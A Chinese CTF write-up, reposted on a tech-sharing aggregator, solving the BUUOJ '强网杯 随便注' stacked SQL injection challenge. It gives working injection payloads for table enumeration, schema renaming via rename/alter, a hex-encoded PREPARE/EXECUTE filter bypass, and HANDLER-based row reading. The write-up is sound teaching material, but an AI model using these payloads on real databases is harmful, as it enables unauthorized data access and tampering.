ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

buuoj [强网杯]随便注(堆叠注入,prepare预定义)

2021-11-21 15:34:29  阅读:218  来源: 互联网

标签:语句 name prepare buuoj 强网杯 handler words SQL 1919810931114514


输入1

img

输入2

img

输入3,无显示。

输入-1' or 1=1,得到

img

order判断字段数为3

img

union select,回显被过滤的函数:

img

但是没有过滤show 等。

利用show命令

1';show tables;# 得到两个表:1919810931114514和words:
img

查看表1919810931114514的字段:

1';show columns from 1919810931114514;#

img

1';show columns form words;# 无显示字段

desc命令查看表的结构

1';desc 1919810931114514;#同样得到1919810931114514表的字段

img

1';desc words;#得到words表的信息:

img

所以这里就出现一个问题:
根据两个表的信息可以发现,
一开始输入1 ,2 ,3得到的内容是data表的内容,也就是题目环境默认就是data表的内容,
但是flag在1919810931114514表中,这样就查看不了flag。

方法一:更改表名和字段名得到flag

只更改表名会出现错误,字段名和属性也要同步更改:

1';rename table `words` to `words2`;rename table `1919810931114514` to `words`;alter table `words` change `flag` `id` varchar(100);# 

再用1' or 1=1;#:

img

更多:关于show命令的用法

https://www.cnblogs.com/123fantao/p/8269287.html

方法二:

绕过select,常见绕过无效。

;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
PREPARE name from '[my sql sequece]';   //预定义SQL语句
EXECUTE name;  //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE name;  //删除预定义SQL        语句

 预定义语句也可以通过变量进行传递: 
SET @tn = 'hahaha';  //存储表名
SET @sql = concat('select * from ', @tn);  //存储SQL语句
PREPARE name from @sql;   //预定义SQL语句
EXECUTE name;  //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla;  //删除预定义SQL语句

方法三:

使用handler语句:

1'; handler `1919810931114514` open as `a`; handler `a` read next;#

mysql除了可以用select语句也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。

  • handler tbl_name open as a; #指定数据表进行载入并将返回句柄重命名

  • handler tbl_name read first; #读取指定表/句柄的首行数据

  • handler tbl_name read next; #读取指定表/句柄的下一行数据

  • handler tbl_name read next; #读取指定表/句柄的下一行数据

  • handler yunensec close; #关闭句柄

标签:语句,name,prepare,buuoj,强网杯,handler,words,SQL,1919810931114514
来源: https://www.cnblogs.com/echooh/p/15584664.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有